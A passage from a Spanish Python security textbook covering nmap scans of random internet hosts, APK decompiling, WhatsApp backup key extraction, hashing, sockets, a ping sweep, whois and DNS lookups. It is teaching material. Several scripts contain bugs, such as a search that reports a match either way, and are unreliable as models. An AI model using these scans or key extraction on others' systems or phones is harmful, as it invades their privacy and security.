Ahora emitimos el comnado nmap:

```
santoku@santoku: ~
File Edit Tabs Help
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
santoku@santoku:~$ nmap -v -iR 5 -PN -p 80 -n
```

Iniciando el escaneo:

```
santoku@santoku: ~
File Edit Tabs Help
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
santoku@santoku:~$ nmap -v -iR 5 -PN -p 80 -n

Starting Nmap 6.40 ( http://nmap.org ) at 2015-09-13 20:12 CEST
Initiating Connect Scan at 20:12
Scanning 1024 hosts [1 port/host]
```

```
root@santoku: /home/santoku
File Edit Tabs Help
Nmap scan report for 37.190.103.220
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Nmap scan report for 65.164.105.93
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Nmap scan report for 195.23.175.123
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Nmap scan report for 100.187.33.210
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Nmap scan report for 12.13.154.151
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Nmap scan report for 159.57.114.24
Host is up.
PORT   STATE    SERVICE
80/tcp filtered http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1024 IP addresses (1024 hosts up) scanned in 188.20 seconds
           Raw packets sent: 2038 (89.672KB) | Rcvd: 93 (3.820KB)
root@santoku:/home/santoku#
```

Nmap terminó.

8.1.19 Otras Herramientas: APKTool

Una herramienta para la ingeniería inversa Puede decodificar recursos de forma casi original y reconstruirlas después de hacer algunas modificaciones; hace posible depurar código paso a paso. También hace que trabajar con una aplicación más fácil debido a la estructura de archivos como en proyectos y la automatización de algunas tareas repetitivas como la construcción de apk, etc.

Ahora mostraremos su utilización:

Primero vamos a observar el contenido de la carpeta:

```
root@santoku: /home/santoku
File  Edit  Tabs  Help

        OPTS:

        -f, --force-all
            Skip changes detection and build all files.
        -d, --debug
            Build in debug mode. Check project page for more info.
        -a, --aapt
            Loads aapt from specified location.

    if|install-framework <framework.apk> [<tag>] --frame-path [<location>]
        Install framework file to your system.

For additional info, see: http://code.google.com/p/android-apktool/
For smali/baksmali info, see: http://code.google.com/p/smali/
santoku@santoku:~$ su
Password:
root@santoku:/home/santoku# ls
2015-09-13-194311_1024x768_scrot.png  Desktop    Public
2015-09-13-201159_1024x768_scrot.png  Documents  Templates
2015-09-13-201251_1024x768_scrot.png  Downloads  Videos
2015-09-13-202232_1024x768_scrot.png  Music
Anti-mosquitos_1.2_1431561042771.apk  Pictures
root@santoku:/home/santoku#
```

Decompilando el archivo:

```
root@santoku: /home/santoku
File  Edit  Tabs  Help

        It will automatically detect, whether files was changed and perform
        needed steps only.

        If you omit <app_path> then current directory will be used.
        If you omit <out_file> then <app_path>/dist/<name_of_original.apk>
        will be used.

        OPTS:

        -f, --force-all
            Skip changes detection and build all files.
        -d, --debug
            Build in debug mode. Check project page for more info.
        -a, --aapt
            Loads aapt from specified location.

    if|install-framework <framework.apk> [<tag>] --frame-path [<location>]
        Install framework file to your system.

For additional info, see: http://code.google.com/p/android-apktool/
For smali/baksmali info, see: http://code.google.com/p/smali/
root@santoku:/home/santoku# apktool d  Anti-mosquitos_1.2_1431561042771.apk
I: Baksmaling...
```

8.2 OTRAS HERRAMIENTAS: BACKUP WHATSAPP

Whatsapp es la aplicación de mensajería instantánea más utilizada. Ahora vamos a mostrar como sacar copias de las conversaciones.

Vamos a sacar la key (llave) para poder desencriptar las copias de seguridad. Para ello necesitaremos un programa llamado WhatsAppKeyExtract donde lo podréis descargar desde el siguiente enlace:

https://drive.google.com/file/d/0B4Wle0DQU7iMeWE2Qmk2YVBwR3c/view

Una vez descargado WhatsAppKeyExtract conectamos nuestro dipositivo móvil con el ordenador y lo pondremos en modo depuración USB (Ajustes->Opciones de desarrollador o desarrollo-> Depuración USB). Una vez enchufado el teléfono al ordenador, descargado y descomprimido el programa, vamos a iniciar el WhatsAppKeyExtract.

Iniciando.

Confirme la copia de seguridad.

Extrayendo la información.

Ahora observamos la información mediante el programa: WhatsApp Viewer.exe.

Seleccionamos la opción File.

Seleccionamos la opción File – Open para la Base de Datos.

Ahora observamos la conversación.

8.3 CRIPTOGRAFÍA

La criptografía es la ciencia que permite crear mensaje que solo el emisor y el receptor podrían entender. Los sistemas secretos de codificación se llaman cifrados.

Python contiene un módulo incorporado llamado hashlib, este módulo puede definir un Api que puede realizar un hash criptográfico unidireccional. A continuación realizamos listado de algunos algoritmos:

- MD5
- SHA1
- SHA224
- SHA256
- SHA384
- SHA512

A continuación,se listan los algoritmos garantizados y disponibles en el intérprete actual.

Algoritmos.py

```
#programa : Algoritmos.py
#autor : jorge nolasco valenzuela
#fecha : 15-07-2017
"""
descripcion : este programa muestra
los algortimos criptográficos disponibles
"""
import hashlib
#algoritmos hash garantizados en todas las plataformas
print('Garantizados:\n{}\n'.format(', '.join(sorted(hashlib.algorithms_guarante-
ed))))
#algoritmos hash que están disponibles en el intérprete de Python en ejecución
print('Disponible en el Interprete:\n{}'.format(', '.join(sorted(hashlib.algo-
rithms_available))))
```

Garantizados:
blake2b, blake2s, md5, sha1, sha224, sha256, sha384, sha3_224, sha3_256, sha3_384, sha3_512, sha512, shake_128, shake_256

Disponible en el Interprete:
DSA, DSA-SHA, MD4, MD5, RIPEMD160, SHA, SHA1, SHA224, SHA256, SHA384, SHA512, blake2b, blake2s, dsaEncryption, dsaWithSHA, ecdsa-with-SHA1, md4, md5, ripemd160, sha, sha1, sha224, sha256, sha384, sha3_224, sha3_256, sha3_384, sha3_512, sha512, shake_128, shake_256, whirlpool

8.3.1 MD5

Este sencillo ejemplo demuestra lo fácil que es acceder y utilizar la biblioteca estándar de Python y cómo se ejecuta el mismo código en diferentes plataformas y genera el valor de hash MD5.

MD5.py

```
#programa : MD5.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
""" descripcion : este programa muestra
el uso de import hashlib - Algoritmo MD5
```

```
"""
import hashlib
#ingresamos la cadena
cadena=input("Ingrese Cadena a Codificar :")
# Crear un objeto llamado hash1 que es del tipo MD5
hash1=hashlib.md5()
# Utilizar el método update para generar el MD5 de la cadena
hash1.update(cadena.encode("UTF-8"))
# Obtener los valores hexadecimales generados del MD5 ,Mediante la utilización
del método hex-digest
hex1=hash1.hexdigest()
# muestra el resultado
print("MD5: " + hex1.upper())
```

Ingrese Cadena a Codificar: Hola Mundo
MD5:
D501194C987486789BB01B50DC1A0ADB

8.3.2 SHA1

Este sencillo ejemplo demuestra lo fácil que es acceder y utilizar la biblioteca estándar de Python y cómo se ejecuta el mismo código en diferentes plataformas y genera el valor de hash SHA1:

SHA1.py

```
#programa : SHA1.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso de import hashlib - Algoritmo SHA1
"""
import hashlib
#ingresamos la cadena
cadena=input("Ingrese Cadena a Codificar :")
# Crear un objeto llamado hash1 que es del tipo SHA1
hash1=hashlib.sha1()
# Utilizar el método update para generar el SHA1 de la cadena
hash1.update(cadena.encode("UTF-8"))
# Obtener los valores hexadecimales generados del SHA1 ,Mediante la utilización
del método hex-digest
```

```
hex1=hash1.hexdigest()
# muestra el resultado
print("SHA1: " + hex1.upper())
```

Ingrese Cadena a Codificar: Hola Mundo
SHA1:
48124D6DC3B2E693A207667C32AC672414913994

8.3.3 SHA512

Este sencillo ejemplo demuestra lo fácil que es acceder y utilizar la biblioteca estándar de Python y cómo se ejecuta el mismo código en diferentes plataformas y genera el valor de hash SHA512:

SHA512.py

```
#programa : SHA512.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso de import hashlib - Algoritmo SHA512
"""
import hashlib
#ingresamos la cadena
cadena=input("Ingrese Cadena a Codificar :")
# Crear un objeto llamado hash1 que es del tipo SHA512
hash1=hashlib.sha512()
# Utilizar el método update para generar el SHA512 de la cadena
hash1.update(cadena.encode("UTF-8"))
# Obtener los valores hexadecimales generados del SHA512 ,Mediante la utiliza-
ción del método hex-digest
hex1=hash1.hexdigest()
# muestra el resultado
print("SHA512: " + hex1.upper())
```

Ingrese Cadena a Codificar: Hola Mundo
SHA512:
BB0B2687B9F11A75110CBF78570EA7C8BABB10880D533A1A
B388113871BD643C47DB96E1B19793
476B5B3F3000071961AA6D6CAB0C1C873C4D7515512C62BBBB

8.3.4 Hash File

hashfile1.py

```
#programa : hashfile1.py
#autor : jorge nolasco valenzuela
#fecha : 27-07-2017
"""
descripcion : este programa muestra
el uso de diferentes algoritmos hash
"""
import hashlib
import os
def tamano(the_path):
    path_size = 0
    for path, dirs, files in os.walk(the_path):
        for fil in files:
            filename = os.path.join(path, fil)
            path_size += os.path.getsize(filename)
    listado=os.listdir("imagenes")
    size=path_size/1024
    return listado,path_size
def md5(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # md5
        hashObj = hashlib.md5()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
        md5 = lastHash
        fp.close()
        return fichero,buffer,lastHash
def sha1(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # sha1
        hashObj = hashlib.sha1()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
```

```
        sha1 = lastHash
        fp.close()
        return fichero,buffer,lastHash
def sha224(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # sha224
        hashObj = hashlib.sha224()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
        sha224 = lastHash
        fp.close()
        return fichero,buffer,lastHash
def sha256(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # sha256
        hashObj = hashlib.sha256()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
        sha256 = lastHash
        fp.close()
        return fichero,buffer,lastHash
def sha384(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # sha384
        hashObj = hashlib.sha384()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
        sha384 = lastHash
        fp.close()
        return fichero,buffer,lastHash
def sha512(ruta):
    listado2=os.listdir(ruta)
    for fichero in listado2:
        fp = open(ruta+"/"+fichero, "rb")
        buffer = fp.read()
        # sha512
```

```
        hashObj = hashlib.sha512()
        hashObj.update(buffer)
        lastHash = hashObj.hexdigest().upper()
        sha512 = lastHash
        fp.close()
        return fichero,buffer,lastHash
while True:
    print("MENU:")
    print("1: TAMAÑO FICHERO")
    print("2: MD5")
    print("3: SHA1")
    print("4: SHA224")
    print("5: SHA256")
    print("6: SHA384")
    print("7: SHA512")
    print("8: SALIR")
    opc=int(input("SELECCIONE OPCION :"))
    if opc==1:
        listado1,size1=tamano("imagenes")
        print("=" * 40)
        print("Listado de Ficheros:",listado1)
        print("Tamaño:{0:8.0f} kb".format(size1/ 1024))
        print("=" * 40)
    elif opc==2:
        print("=" * 40)
        fichero, buffer, lastHash= md5("imagenes")
        print("FICHERO :"+fichero)
        print("MD5 :"+lastHash)
        print("=" * 40)
    elif opc==3:
        print("=" * 40)
        fichero, buffer, lastHash = sha1("imagenes")
        print("FICHERO :" + fichero)
        print("SHA1 :" + lastHash)
        print("=" * 40)
    elif opc == 4:
        print("=" * 40)
        fichero, buffer, lastHash = sha224("imagenes")
        print("FICHERO :" + fichero)
        print("SHA224 :" + lastHash)
        print("=" * 40)
    elif opc == 5:
        print("=" * 40)
        fichero, buffer, lastHash = sha256("imagenes")
        print("FICHERO :" + fichero)
```

```
            print("SHA256 :" + lastHash)
            print("=" * 40)
        elif opc == 6:
            print("=" * 40)
            fichero, buffer, lastHash = sha384("imagenes")
            print("FICHERO :" + fichero)
            print("SHA384 :" + lastHash)
            print("=" * 40)
        elif opc == 7:
            print("=" * 40)
            fichero, buffer, lastHash = sha512("imagenes")
            print("FICHERO :" + fichero)
            print("SHA512 :" + lastHash)
            print("=" * 40)
        else:
            break
```

```
MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :1
========================================
Listado de Ficheros: ['imagen1.png']
Tamaño:     668 kb
========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :2
```

```
==========================================
FICHERO :imagen1.png
MD5 :3F9AF6B0FD1AEC2C9DE13B75C05DB081
==========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :3
==========================================
FICHERO :imagen1.png
SHA1 :4AFF2032827EB0C5CCC09A7DE004E8A479CDB577
==========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :4
==========================================
FICHERO :imagen1.png
SHA224 :
562A2774E086553771FA6733E7768488807FCB89751DD03B559E8031
==========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
```

```
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :5
==========================================
FICHERO :imagen1.png
SHA256 :
21DCC9E790E67BD56A1D5131B29043DB5FE9C42117AEF278645547D6D1F
D71A1
==========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :6
==========================================
FICHERO :imagen1.png
SHA384 :
F8F2F1BA3C57E2CE5F2D0B33EC763B56BC627BA35FB89DFB1B4C1DB1
B5D0BD91F0F0D37A333441B9FE15D9315CE29FCA
==========================================

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR
SELECCIONE OPCION :7
==========================================
FICHERO :imagen1.png
SHA512 :9580
```

7B97B4540B32F6E2E7370E2BDBCB3983067FD665D539E6DBFEC93504A228F4F9C53C694A872C1B5633908F7C5BF48E9D6A5FE90D7EA9128B3597B2CA2043

==========

MENU:
1: TAMAÑO FICHERO
2: MD5
3: SHA1
4: SHA224
5: SHA256
6: SHA384
7: SHA512
8: SALIR

8.4 LISTA ARCHIVOS

El método listdir() devuelve una lista que contiene los nombres de los archivos en el directorio actual:

Listado.py

```
#programa : Listado.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso de la funcion listdir
"""
import os
mycwd = os.getcwd()
directorios = os.listdir(mycwd)
print(directorios)
```

['.idea', 'algoritmos.py', 'Listado.py', 'MD5.py', 'SHA1.py', 'SHA512.py']

8.5 PLATAFORMA (PLATFORM)

Algunas veces es necesario saber qué tipo de sistema se está ejecutando un programa. Para ello utilizamos el módulo Plataforma:

Plataforma.py

```
#programa : Plataforma.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso del modulo plataform
"""
import sys
import platform
print("Platform: "+sys.platform)
print("Machine: "+platform.machine())
print("Version: "+platform.version())
```

Platform: win32
Machine: AMD64
Version: 6.3.9600

8.6 SOCKET

Los sockets son un canal de comunicación de datos bidireccional dentro de un proceso.

Entre procesos en la misma máquina, o entre procesos en diferentes máquinas puede usar protocolos como tcp/ip o udp.

Los tipos de socket son los siguientes:

- SOCK_STREAM: Este protocolo nos da una comunicación fiable de dos direcciones en un flujo de datos (protocolo: TCP).
- SOCK_DGRAM: Este protocolo nos da una conexión no fiable (protocolo: UDP).

- SOCK_RAW: Este protocolo es para acceder a los campos e interfaces internos de la red.
- SOCK_RDM: Este protocolo garantiza la llegada de paquetes, pero no garantiza el orden de llegada.
- SOCK_SEQPACKET: Datagramas fiables y secundarios, de longitud fija, basado en la conexión.
- SOCK_PACKET: Coloca el socket en modo promiscuo en la que recibe todos los paquetes de la red.

  Ahora listaremos los métodos más importantes.

- SOCKET.SOCKET: Crea un canal bidireccional con el que generalmente se establece una conexión de red.
- SOCKET.BIND: Define un puerto y un nombre para un socket.
- SOCKET.LISTEN: Convierte el socket en un socket en escucha.
- SOCKET.ACCEPT: Espera que llegue una conexión. Al llegar la descripción devuelve un socket nuevo para dicha conexión específica.
- SOCKET.CONNECT: Conecta un socket con otro que lo este esperando en un puerto y dirección específica.
- SOCKET.SEND: Es por el método que enviaremos los mensajes.
- SOCKET.RECV: Es por el método que recibiremos los mensajes.
- SOCKET.CLOSE: Cierra el socket.

A continuación, un ejemplo de Socket:

8.6.1 Servidor-Clientes

SocketServidor.py

```
#programa : SocketServidor.py
#autor : jorge nolasco valenzuela
#fecha : 04-08-2017
“”””
```

```
descripcion : este programa muestra
el uso de socket
Servidor
""""
#libreria para trabajar socket
import socket
import sys
#crear socket
s1=socket.socket()
#hostname para recibir conexion externas
HOSTNAME=""
#puerto de escucha de nuestra servidor
PORT=8765
try:
    """
    el metodo bind
    conecta el socket en una tupla que especifique
    una direccion y puerto
    """
    s1.bind((HOSTNAME,PORT))
except socket.error as message:
    print("bind fallo")
    sys.exit()
#comenzamos la escucha
s1.listen()
print("escuchando socket en puerto :",PORT)
while True:
    #a la espera de una conexion
    connection,address = s1.accept()
    print("conexion con :",address[0],address[1])
    connection.send("HOLA DESDE EL SERVIDOR")
    #cerrrar el socket
    connection.close()
```

SocketCliente.py

```
#programa : SocketCliente.py
#autor : jorge nolasco valenzuela
#fecha : 04-08-2017
"""
descripcion : este programa muestra
el uso de socket
```

```
Clientes
"""
#libreria para trabajar socket
import socket
import sys
#crear socket
s1=socket.socket()
#obtenemos el nombre de host
HOST=socket.gethostname()
#el puerto a utilizar
PORT=8765
#Conecta el socket del cliente con el servidor en un puerto
s1.connect((HOST,PORT))
#recibiendo mensajes
print(s1.recv(1024))
#cerrar el socket
s1.close()
```

8.6.2 Obtener la dirección IP

Python ha ganado mucha fuerza en el desarrollo de programas para la red, ya que, gracias al manejo de sockets, podemos utilizar la estructura de red dicha estructura puede ser local o a través de Internet, a continuación, mostraremos algunos ejemplos:

Socket1.py

```
#programa : Socket1.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso de socket
"""
import socket
#obtener el nombre del equipo
nombre_equipo = socket.gethostname()
#obtener la direccion de IP del equipo
direccion_equipo = socket.gethostbyname(nombre_equipo)
print("el nombre del equipo es:",nombre_equipo)
print("La IP es:",direccion_equipo)
```

el nombre del equipo es: jnolasco
La IP es: 192.168.56.1

8.6.3 Listar direcciones IP

Socket2.py

```
#programa : Socket2.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
el uso de socket
"""
# Especificamos la IP de la Red
ipBase='192.168.0.'
# lista de  IPs
ipList=[]
# IPs de 1-255
for ip in range(0,256):
    ipList.append(ipBase+str(ip))
    print(ipList.pop())
```

192.168.0.0
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.4
192.168.0.5
……..
192.168.0.248
192.168.0.249
192.168.0.250
192.168.0.251
192.168.0.252
192.168.0.253
192.168.0.254
192.168.0.255

A continuación, realizamos un ping a un host especifico:

ping1.py

```
#programa : Ping1.py
#autor : jorge nolasco valenzuela
#fecha : 01-09-2017
"""
descripcion : este programa muestra
el uso de ping
"""
import os
respuesta = os.popen('ping -n 1 192.168.1.1')
for line in respuesta.readlines():
    print(line)
```

Estadisticas de ping para 192.168.1.1:
Paquetes: enviados = 1, recibidos = 1, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
M¡nimo = 1ms, M ximo = 1ms, Media = 1ms

A continuación, muestra las direcciones IP activas.

Scaneo1.py

```
#programa : Scaneo1.py
#autor : jorge nolasco valenzuela
#fecha : 01-09-2017
"""
descripcion : este programa muestra
el uso de ping
"""
import os
from datetime import datetime
red = input("IP de la Red :")
red1= red.split(".")
net2 = red1[0]+"."+red1[1]+"."+red1[2]+"."
st1 = int(input("Primer Numero de la Red :"))
en1 = int(input("Ultimo Numero de la Red :"))
en1=en1+1
ping1 = "ping -n 1 "
inicio= datetime.now()
```

```
print("Scaneo....")
for ip in range(st1,en1):
    addr = net2+str(ip)
    comm = ping1+addr
    response = os.popen(comm)
    for line in response.readlines():
        if(line.count("TTL")):
            break
    if (line.count("TTL")):
        print(addr, " :Activos")
fin= datetime.now()
total =fin-inicio
print("Finalizacion del Scaneo en  " , total)
```

IP de la Red :192.168.1.0
Primer Numero de la Red :2
Ultimo Numero de la Red :50
Scaneo....
192.168.1.33 :Activos
192.168.1.34 :Activos
192.168.1.40 :Activos
192.168.1.42 :Activos
192.168.1.45 :Activos
Finalizacion de Scaneo en 0:01:14.004394

8.7 BÚSQUEDA Y INDEXACIÓN

Archivo.txt

```
Adan
Agustin
Alberto
Alejandro
Alfonso
Alfredo
Andres
Antonio
Armando
Arturo
Benito
```

```
Benjamin
Bernardo
Carlos
Cesar
Claudio
Clemente
Cristian
Cristobal
Daniel
David
Diego
Eduardo
Emilio
Enrique
Ernesto
Esteban
Federico
Felipe
Fernando
Francisco
Gabriel
Gerardo
German
Gilberto
Gonzalo
Gregorio
Guillermo
Gustavo
Hernan
Homero
Horacio
Hugo
```

Primero comenzaremos creando un programa que realice la búsqueda de una palabra en un archivo específico:

Busqueda1.py

```
#programa : Busqueda1.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
```

```
    descripcion : este programa muestra
    la busqueda de Nombres en una Archivo
    """
    import sys
    #creamos un conjunto vacio llamado Nombres
    Nombres=set()
    try:
        #Abrir el archivo : archivo.txt
        Fichero=open('archivo.txt')
        #adicionar linea a linea el contenido del archivo al conjunto Nombres
        for line in Fichero:
            Nombres.add(line.strip())
    except:
        print("Error Fichero")
        sys.exit()
    #ingresar Nombre a Buscar
    palabra=input("Ingrese Nombre a Buscar:")
    #Buscar Nombre
    if (palabra in Nombres):
        print("Nombre Encontrado")
    else:
        print("Nombre Encontrado")
```

Ingrese Nombre a Buscar: Luis
Nombre Encontrado

Ahora un ejemplo de lectura de un archivo binario:

Busqueda2.py

```
#programa : Busqueda2.py
#autor : jorge nolasco valenzuela
#fecha : 14-07-2017
"""
descripcion : este programa muestra
la lectura de archivos binarios
"""
import sys
#creamos un conjunto vacio llamado Nombres
Nombres=set()
try:
    #Abrir el archivo : archivo.bin
```

```
        Fichero=open('archivo.bin','rb')
        #cargar el archivo binario en un   bytearray
        binario=bytearray(Fichero.read())
    except:
        print("Error Fichero")
        sys.exit()
    print("Archivo:",binario)
```

Archivo: bytearray(b'Ad\xe1n\r\nAgust\xedn\r\nAlberto \r\nAlejandro\r\nAlfonso\r\nAlfredo\r\nAndr\xe9s\r\nAntonio \r\nArmando\r\nArturo \r\nBenito\r\nBenjam\xedn\r\nBernardo\r\nCarlos \r\nC\xe9sar\r\nClaudio\r\nClemente \r\nCristian\r\nCristobal\r\nDaniel \r\nDavid\r\nDiego\r\nEduardo \r\nEmilio\r\nEnrique \r\nErnesto\r\nEsteban\r\nFederico\r\nFelipe\r\nFernando \r\nFrancisco \r\nGabriel \r\nGerardo \r\nGerm\xe1n\r\nGilberto\r\nGonzalo\r\nGregorio\r\nGuillermo \r\nGustavo\r\nHern\xe1n\r\nHomero\r\nHoracio\r\nHugo\r\nIgnacio\r\nJacobo\r\nJaime\r\nJavier\r\nJer\xf3nimo\r\nJes\xfas\r\nJoaqu\xedn\r\nJorge\r\nJorge Luis\r\nJos\xe9 \r\nJos\xe9 Eduardo\r\nJos\xe9 Emilio\r\nJos\xe9 Luis\r\nJos\xe9 Mar\xeda\r\nJuan \r\nJuan Carlos\r\nJulio\r\nJulio C\xe9sar\r\nLorenzo\r\nLucas\r\nLuis \r\nLuis Miguel\r\nManuel \r\nMarco Antonio\r\nMarcos\r\nMariano\r\nMario\r\nMart\xedn\r\nMateo\r\nMiguel\r\nMiguel \xc1ngel\r\nNicol\xe1s (Nico)\r\nOctavio\r\n\xd3scar\r\nPablo\r\nPatricio\r\nPedro\r\nRafael (Rafa)\r\nRamiro\r\nRam\xf3n\r\nRa\xfal\r\nRicardo \r\nRoberto \r\nRodrigo \r\nRub\xe9n\r\nSalvador\r\nSamuel\r\nSancho\r\nSantiago \r\nSergio\r\nTeodoro\r\nTimoteo \r\nTom\xe1s \r\nVicente\r\nV\xedctor\r\nAdela\r\nAdriana\r\nAlejandra\r\nAlicia\r\nAmalia\r\nAna\r\nAna Luisa\r\nAna Mar\xeda\r\nAndrea\r\nAnita\r\n\xc1ngela\r\nAntonia (Toni)\r\nBarbara\r\nBeatriz\r\nBerta\r\nBlanca\r\nCaridad\r\nCarla\r\nCarlota\r\nCarmen\r\nCarolina (Caro)\r\nCatalina (Cata)\r\nCecilia (Ceci)\r\nClara\r\nClaudia\r\nConcepci\xf3n\r\n(Concha, Conchita)\r\nCristina (Cris, Tina)\r\nDaniela\r\nD\xe9bora\r\nDiana\r\nDolores (Lola)\r\nDorotea (Dora)\r\nElena\r\nElisa\r\nEloisa\r\nElsa\r\nElvira\r\nEmilia (Emi)\r\nEsperanza\r\nEstela\r\nEster\r\nEva\r\nFlorencia\r\nFrancisca (Paca,\r\nPaquita)\r\nGabriela (Gabi)\r\nGloria\r\nGraciela (Chela)\r\nGuadalupe (Lupe)\r\nGuillermina\r\nIn\xe9s\r\nIrene\r\nIsabel (Chabela,\r\nChavela, Isa)\r\nIsabela\r\nJosefina (Pepita)\r\nJuana\r\nJulia\r\nLaura\r\nLeonor\r\nLeticia (Leti)\r\nLilia\r\nLorena\r\nLourdes\r\nLucia\r\nLuisa\r\nLuz\r\nMagdalena\r\nManuela\r\nMarcela (Chela)\r\nMargarita (Rita)\r\nMar\xeda\r\nMar\xeda del Carmen\r\nMar\xeda Cristina\r\nMar\xeda Elena\r\nMar\xeda Eugenia\r\nMar\xeda Jos\xe9 (Marij\xf3)\r\nMar\xeda Luisa\r\nMar\xeda Soledad\r\nMar\xeda Teresa (Maite,\r\nMarite)\r\nMariana\r\nMaricarmen\r\nMarilu\r\nMarisol\r\nMarta\r\nMercedes (Meche)\r\nMicaela\r\nM\xf3nica (Moni)\r\nNatalia (Nati)\r\nNorma\r\nOlivia\r\nPatricia (Pati)\r\nPilar (Pili)\r\nRamona\r\nRaquel\r\nRebeca\r\nReina\r\nRocio\r\nRosa

(Rosi, Rosita)\r\nRosalia\r\nRosario\r\nSara (Saruca)\r\nSilvia\r\nSofia\r\nSoledad (Sole)\r\nSonia\r\nSusana (Susa,\r\nSusanita)\r\nTeresa (Tere)\r\nVer\xf3nica (Vero)\r\nVictoria (Vicki)\r\nVirginia\r\nYolanda (Yoli)')

8.8 RECOLECCIÓN DE INFORMACIÓN

8.8.1 Analizando dominios - Módulo Whois

Módulo de Python para recuperar información de dominios.

La información que suministra whois de un dominio proporciona diversos detalles como registrador, propietario, fecha de registro, fecha de caducidad, etc.

Si queremos instalar el módulo específico:

```
pip install python-whois
```

A continuación, un ejemplo para obtener información de un dominio específico:

whois1.py

```
#programa : whois1.py
#autor : jorge nolasco valenzuela
#fecha : 04-08-2017
"""
descripcion : este programa muestra
el uso de whois para analizar dominios
"""
import whois
#analizaremos el dominio gloria
dominio = whois.whois('www.gloria.com.pe')
print(dominio)
```

{

"domain_name": "gloria.com.pe",
"registrar": "NIC .PE",
"whois_server": "NIC .PE",
"referral_url": null,

“updated_date”: null,
“creation_date”: null,
“expiration_date”: null,
“name_servers”: [
“ns1.grupogloria.com”,
“ns2.grupogloria.com”
],
“status”: “ok”,
“emails”: “gtalavera@gloria.com.pe”,
“dnssec”: “unsigned”,
“name”: “gloria s.a.”,
“org”: null,
“address”: null,
“city”: null,
“state”: null,
“zipcode”: null,
“country”: null
}

8.8.2 Analizando dominios - Módulo DNS

Dnspython es una un conjunto de herramientas de DNS para Python. Soporta casi todos los tipos de registros. Se puede utilizar para consultas, transferencias de zona y actualizaciones dinámicas. Soporta mensajes TSIG autenticados y EDNS0. Dnspython proporciona acceso de alto y bajo nivel al DNS. Las clases de alto nivel realizan consultas para datos de un nombre, tipo y clase, y devuelven un conjunto de respuestas. Las clases de bajo nivel permiten la manipulación directa de zonas DNS, mensajes, nombres y registros.

A continuación, un ejemplo para obtener información de un dominio específico:

dns1.py

```
#programa : dns1.py
#autor : jorge nolasco valenzuela
#fecha : 04-08-2017
“”””
descripcion : este programa muestra
el uso de dns para analizar dominios
```

```
"""
import dns.query
qname = dns.name.from_text('facebook.com')
consulta = dns.message.make_query(qname, dns.rdatatype.NS)
print("="*30)
print("Resultado de la Consulta:")
print(consulta)
print("="*30)
```

```
==============================
Resultado de la Consulta:
id 13208
opcode QUERY
rcode NOERROR
flags RD
;QUESTION
facebook.com. IN NS
;ANSWER
;AUTHORITY
;ADDITIONAL
==============================
```

